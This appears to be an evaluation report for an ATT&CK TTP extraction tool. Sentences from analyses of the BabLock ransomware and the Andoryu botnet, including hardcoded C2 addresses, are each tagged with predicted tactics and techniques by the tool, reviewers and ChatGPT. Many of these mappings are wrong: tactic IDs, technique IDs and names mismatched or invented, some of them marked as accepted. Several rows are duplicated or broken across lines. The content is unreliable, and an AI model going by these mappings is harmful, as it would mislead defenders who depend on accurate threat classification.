Trend Micro Apex One™offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Endpoint Protection'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Fileless Malware'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Encrypted'}]	4	[0, 1, 2, 3]
Indicators of Compromise (IOCs) The indicators of compromise for this entry can be found here.	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}, {'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1027.005', 'technique': 'Indicator Removal from Tools'}]	2	[0, 1]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
A ransomware called BabLock (aka Rorschach) has recently been making waves due to its sophisticated and fast-moving attack chain that uses subtle yet effective techniques.	[]	0	[]

Although primarily based on LockBit, the ransomware is a hodgepodge of other different ransomware parts pieced together into what we now call BabLock (detected as Ransom.Win64.LOCKBIT.THGOGBB.enc).	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1583', 'technique': 'Timestomping'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'Command-Line Interface'}]	2	[]
Note, however, that we do not believe that this ransomware originates from the threat actors behind LockBit, which is now in its third iteration.	[]	0	[]
In this blog entry, we look at its attack chain in detail and examine its likely origins.	[]	0	[]
In June 2022, we discovered a ransomware (which turned out to be BabLock) using what appeared to be a unique style of appending extensions, where instead of the normal "one sample, one extension" method commonly used in ransomware attacks, we discovered that the attackers were appending numerical increments from 00-99 on top of the fixed ransomware extension for this specific infection.	[{'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts: Hidden File System'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal on Host: File Deletion'}]	3	[]
As a result, even on a single infected machine, there could be multiple extension variations from a single execution.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]
Our investigation found that the ransomware was always deployed as a multi-component package consisting mostly of the following files:	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1027.002', 'technique': 'Software Packing'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing: Spearphishing Attachment'}]	2	[]
The encrypted ransomware file, config.ini A malicious sideloaded DLL (DarkLoader, a config.ini decryptor and ransomware injector) A non-malicious executable used to load the malicious DLL A CMD file to execute the non-malicious binary using the correct password	[{'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts: Hidden File System'}, {'taid': 'TA0005', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}, {'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'OS Credential Dumping'}]	3	[1]
The DarkLoader DLL will check for specific commands, particularly --run, which checks for the correct 4-digit password needed to start the encryption process.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1036', 'technique': 'Masquerading'}]	2	[]
Figure 3. If the correct passcode is added to the command line, the ransomware will proceed with the whole encryption process	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}]	1	[]
Once the DLL component is loaded by the non-malicious executable, it will immediately look for the config.ini file in the current executable's path.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1059.003', 'technique': 'Scheduled Task/Job: Scheduled Task'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1035.003', 'technique': 'Service Execution: Service Registry Permissions Weakness'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1546.015', 'technique': 'Component Object Model Hijacking'}]	3	[]
Once this is found, the DLL decrypts config.ini and then executes notepad.exe with a certain set of command lines.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[]

For this particular campaign, we found a few notable and consistent patterns:	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': '', 'technique': 'Deceptive Domain Name System (DNS) Infrastructure'}]	1	[]
The main ransomware binary is usually delivered as an encrypted config.ini file.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts'}]	3	[]
DarkLoader is executed via DLL sideloading using legitimate executables.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547.001', 'technique': 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1218.011', 'technique': 'Signed Binary Proxy Execution: Compiled HTML File'}]	2	[]
The config.ini file is decrypted by a specially crafted loader designed specifically for these campaigns (detected as Trojan.Win64.DarkLoader)	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1574.002', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1027.002', 'technique': 'Software Packing'}]	2	[]
BabLock appends a random number from 00 to 99 to the extension string per file within the same infected machine (for example, extn00-extn99 as extensions in the same infection).	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[]
Any DarkLoader DLL can be used to decrypt any encrypted ransomware config.ini, with no specific binary pairing needed.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
The DarkLoader DLL uses Direct SysCall APIs to a select few, but important, calls to avoid API reading analysis.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Disabling Security Tools'}]	1	[]
The decrypted BabLock ransomware is always packed with VMProtect for anti-virtualization.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}]	1	[]
BabLock is loaded via the threat injection of a hooked API NtdII.RtlTestBit to jump to memory containing the ransomware code.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055.012', 'technique': 'Process Injection: Dynamic-link Library Injection'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'API Hooking'}]	2	[0]
There have been a few variations of the passcode for --run across different attacks, but all of them are still within a certain range of each other.	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1024', 'technique': 'Custom Cryptographic Protocol'}]	1	[]
Figure 4. The command line argument supplied to notepad.exe to load and execute the ransomware on recent attacks.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'Command and Scripting Interpreter: Windows Command Shell'}]	1	[0]
Figure 5. DLL using several direct SysCall instructions to avoid API reading techniques	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Disabling Security Tools: Direct System Calls'}]	1	[]
Figure 6. The notepad.exe file is injected with an API call thread to RtlTestBit, which has been patched/hooked to jump to the malicious routine	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055.001', 'technique': 'Process Injection: Dynamic-link Library Injection'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'API Hooking'}]	2	[0]

Throughout our initial encounter with BabLock in June 2022, we searched for similar files and found that the earliest record of these files dated back to March 2022. After discovering this, we wanted to find out how it managed to stay under the radar for so long.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Conduct Active Scanning'}, {'taid': 'TA0020', 'tactic': 'Exfiltration', 'tid': 'T1020', 'technique': 'Automated Exfiltration'}, {'taid': 'TA0020', 'tactic': 'Exfiltration', 'tid': 'T1020.002', 'technique': 'Exfiltration Over SSL'}]	3	[]
Since June 2022, there have only been a handful of recorded incidents involving the ransomware, including the most recent one. Due to a low number count, no notable statistics involving region, industry, or victim profile have stood out as of the time of writing.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1444', 'technique': 'Data Encrypted for Impact'}]	1	[0]
Figure 7. Distribution of incidents involving the BabLock ransomware	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Destruction: Wiper Malware'}]	1	[]
However, due to its notable features and characteristics, attacks related to BabLock can be easily identified. As we've already mentioned, after every file encryption, the ransomware appends a random number string between 00-99 to its hardcoded extension. This results in up to 100 different variations of the same ransomware extension.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	2	[1]
Figure 8. Code snippet showing a random number string between 00-99 being appended to encrypted files	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]
It also has a fairly sophisticated execution routine:	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1070', 'technique': 'Indicator Removal on Host: File Deletion'}]	1	[]
It uses a specific number code to execute properly.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1527.001', 'technique': 'Application Access Token: Windows Tokens'}]	1	[]
It splits the package into multiple components.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
It separates and hides the actual payload into an encrypted file.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[]
It uses normal applications as loaders	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1047', 'technique': 'Windows Management Instrumentation Event Subscription'}]	1	[]
Finally, BabLock employs publicly available tools as part of its infection chain. We found that the most used tools were the following: Chisel - A transmission control protocol (TCP) and user datagram protocol (UDP) tunnel Fscan - A scanning tool By using these two tools — combined with BabLock/LockBit possessing the capability to set active directory (AD) Group Policies for easier propagation — it's possible for a malicious actor to navigate around a network without much effort	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1497.001', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1090', 'technique': 'Proxy'}]	3	[0]
Comparing and contrasting BabLock to LockBit and other ransomware From our investigation, most of the routines used by BabLock are more closely related to Lockbit (2.0) than any other ransomware. Other researchers also mention similarities to ransomware such as Babuk, Yanluowang and others.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}]	2	[0]

Figure 9. The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}]	1	[0]
One of its common characteristics to Lockbit (2.0) would be the use of the same group policy to generate a desktop drop path. Similarly, the use of vssadmin for deleting shadow copies is also a routine heavily used in LockBit attacks (albeit also a common routine for many modern ransomware). Still, the resemblance is uncanny. Furthermore, it is running the same commands to execute GPUpdate for the AD. Due to this, our detection for this ransomware is still under the LockBit family.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1518.001', 'technique': 'Security Software Discovery'}]	4	[1, 2]
Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right) **Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right)** **Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right)**	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
From what we can tell, BabLock looks like a Frankenstein-like creation that is stitched together from different known ransomware families.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
Figure 11. Similarities between BabLock and other ransomware families	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
Our first encounter with BabLock almost coincided with the release of Lockbit v3.0. However, since most of its structure still resembles Lockbit v2.0, we surmise that this may be from another affiliate or group. With nearly a year since the release of LockBit v3.0, we have found no changes to the payload of the BabLock even with recent attacks, further solidifying our stance that they are neither connected nor closely affiliated with the actual LockBit group.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[]
What we do know is that the threat actor behind BabLock managed to take many of the base capabilities of LockBit v2.0 and added bits and pieces of different ransomware families to create their own unique variant, which could possibly be enhanced further in the future.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[]
Organizations can implement security frameworks to safeguard their systems from similar attacks, which systematically allocate resources to establish a robust defense strategy against ransomware.	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Security Assessment'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Encrypted'}]	2	[1]
Taking an inventory of assets and data	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Asset Management'}]	1	[]
Identifying authorized and unauthorized devices and software	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Device and Account Enumeration'}]	1	[]
Auditing event and incident logs	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}]	1	[]
Managing hardware and software configurations	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Security Configuration Management'}]	1	[]

Granting admin privileges and access only when necessary to an employee's role	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1087', 'technique': 'Account Discovery'}]	1	[]
Monitoring network ports, protocols, and services	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Segmentation'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}]	2	[]
Establishing a software allowlist that only executes legitimate applications	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Application Control'}]	1	[]
Implementing data protection, backup, and recovery measures	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1487', 'technique': 'Data Backup'}]	1	[]
Enabling multifactor authentication (MFA)	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': '', 'technique': 'Two-Factor Authentication'}]	1	[]
Deploying the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Software Updating and Patching'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Endpoint Protection'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Segmentation'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	5	[]
Watching out for early signs of an attack such as the presence of suspicious tools in the system	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1518', 'technique': 'Software Discovery'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1087', 'technique': 'Account Discovery'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Entrypoint Obscurity'}]	5	[]
Implementing a multi-faceted approach can aid organizations in securing potential entry points into their systems such as endpoint, email, web, and network. With the help of security solutions that can identify malevolent elements and questionable activities, enterprises can be safeguarded from ransomware attacks.	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	1	[]
Trend Micro Vision One™provides multilayered protection and behavior detection, which helps block questionable behavior and tools before the ransomware can do any damage.	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Anti-virus Software'}]	3	[]
Trend Micro Cloud One™ – Workload Securityprotects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid':	3	[]

through techniques such as virtual patching and machine learning.	'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Software Updating and Patching'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Host-based Intrusion Prevention Systems'}]		
Trend Micro™ Deep Discovery™ Email Inspectoremploys custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1598.002', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	3	[]
Trend Micro Apex One™offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Endpoint Protection'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Fileless Malware'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Encrypted'}]	4	[]
Indicators of Compromise (IOCs) The indicators of compromise for this entry can be found here.	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}, {'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1027.005', 'technique': 'Indicator Removal from Tools'}]	2	[]

Test Report 2 Andoryu Botnet—基于 Socks 协议通信的新型僵尸网络

URL: https://mp.weixin.qq.com/s/YVwNHW3sGW8dpTymkp5Ivg

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
运行时会首先判断是否存在参数，当存有一个参数时样本才会正常运行：	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1497', 'technique': '虚拟化沙箱逃逸'}, {'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1497', 'technique': '虚拟化沙箱逃逸'}]	[]	2	[0, 1]
2.2 字符串加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1, 2]
样本中的大部分关键字符串加密，运行前期通过一个函数对所有加密的字符串进行批量解密：	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]

2.3 进程名伪装	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
解密后的字符串中存在该僵尸网络信息，样本运行时将其打印到控制台：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
3. Socks5 通信	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1095', 'technique': '非应用层协议'}]	[]	1	[0]
该僵尸网络通过 socks 协议进行通信，具体通信过程如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1095', 'technique': '非应用层协议'}]	[]	1	[0]
一、首先连接硬编码的代理服务器，代理服务器地址为 "152.67.66.37:1080"。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
采用无用户密码认证的 socks5 代理：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
三、告知代理服务器需要访问哪个远程服务器，远程服务器地址批量解密时获取，DST_C2 = "172.86.123.20:1025"。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
上线包数据中包含本机 IP 信息：	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1016', 'technique': '系统网络配置发现'}]	[]	1	[0]
五、通过代理接收 C2 下发指令。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
奇安信威胁情报中心当前已监控到下发数据，但攻击者暂时还未发出 DDoS 攻击指令：	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[]	1	[0]
3.2 DDoS 方法	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[]	1	[0]
AndoryuBot 支持多种 DDoS 方法，具体如下：	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[['malware', 'AndoryuBot']]	1	[0]
Andoryu Botnet 的传播方式除了 CVE-2021-22205 外，还通过 Lilin DVR RCE 进行扩散，本次发现的 Payload 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}]	[['vul', 'CVE-2021-22205']]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
运行时会首先判断是否存在参数，当存有一个参数时样本才会正常运行：	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1497', 'technique': '虚拟化沙箱逃逸'}, {'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1497', 'technique': '虚拟化沙箱逃逸'}]	[]	2	[0, 1]

2.2 字符串加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1]
样本中的大部分关键字符串加密，运行前期通过一个函数对所有加密的字符串进行批量解密：	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
2.3 进程名伪装	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
解密后的字符串中存在该僵尸网络信息，样本运行时将其打印到控制台：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[]
3. Socks5 通信	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1095', 'technique': '非应用层协议'}]	[]	1	[0]
该僵尸网络通过 socks 协议进行通信，具体通信过程如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1095', 'technique': '非应用层协议'}]	[]	1	[0]
一、首先连接硬编码的代理服务器，代理服务器地址为 "152.67.66.37:1080"。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
采用无用户密码认证的 socks5 代理：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
三、告知代理服务器需要访问哪个远程服务器，远程服务器地址批量解密时获取，DST_C2 = "172.86.123.20:1025"。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
上线包数据中包含本机 IP 信息：	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1016', 'technique': '系统网络配置发现'}]	[]	1	[0]
五、通过代理接收 C2 下发指令。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	[]	1	[0]
奇安信威胁情报中心当前已监控到下发数据，但攻击者暂时还未发出 DDoS 攻击指令：	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[]	1	[0]
3.2 DDoS 方法	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[]	1	[0]
AndoryuBot 支持多种 DDoS 方法，具体如下：	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1498', 'technique': '网络拒绝服务'}]	[['malware', 'AndoryuBot']]	1	[0]

Andoryu Botnet 的传播方式除了 CVE-2021-22205 外，还通过 Lilin DVR RCE 进行扩散，本次发现的 Payload 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}]	[['vul', 'CVE-2021-22205']]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
2023 年 2 月初，奇安信威胁情报中心威胁监控系统监测到一起未知家族恶意样本利用 CVE-2021-22205 漏洞传播的事件，经过分析确认该样本不属于已知的僵尸网络家族。	[{'taid': 'TA0043', 'tactic': '建立持久性', 'tid': 'T1547.03', 'technique': '修改启动项'}]	1	[0]
Andoryu Botnet 最近传播趋势如下，通过其活跃时间点我们得知 Andoryu Botnet 当前仅在样本进行更新迭代的时间点前后进行小范围传播，因此可以判断该僵尸网络还处于测试阶段：	[{'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1566', 'technique': '访问软件或服务'}]	1	[0]
运行时会首先判断是否存在参数，当存有一个参数时样本才会正常运行：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令行参数'}]	1	[0]
样本中的大部分关键字符串加密，运行前期通过一个函数对所有加密的字符串进行批量解密：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}]	1	[0]
使用 prctl 函数将进程名修改为 "/bin/bash"：	[{'taid': 'TA0004', 'tactic': '欺骗防御', 'tid': 'T1036.005', 'technique': '欺骗进程名'}]	1	[0]
解密后的字符串中存在该僵尸网络信息，样本运行时将其打印到控制台：	[{'taid': 'TA0005', 'tactic': '命令与控制', 'tid': 'T1059.001', 'technique': '隐藏敏感输出'}]	1	[0]
该僵尸网络通过 socks 协议进行通信，具体通信过程如下：	[{'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.001', 'technique': '网络使内部主机信息可用'}, {'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.002', 'technique': '网络使内部子网信息可见'}, {'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.003', 'technique': '网络使内部主机信息可见'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1071', 'technique': '命令与控制'}]	5	[0, 1, 2, 3, 4]
采用无用户密码认证的 socks5 代理：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1078.002', 'technique': '网络代理'}]	1	[0]
告知代理服务器需要访问哪个远程服务器，远程服务器地址批量解密时获取，DST_C2 = "172.86.123.20:1025"。	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1573', 'technique': '越界写'}]	1	[0]
通过代理接收 C2 下发指令。	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1105', 'technique': '远程文件复制'},	2	[0, 1]

	{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1001', 'technique': '数据从远程系统收集'}]		
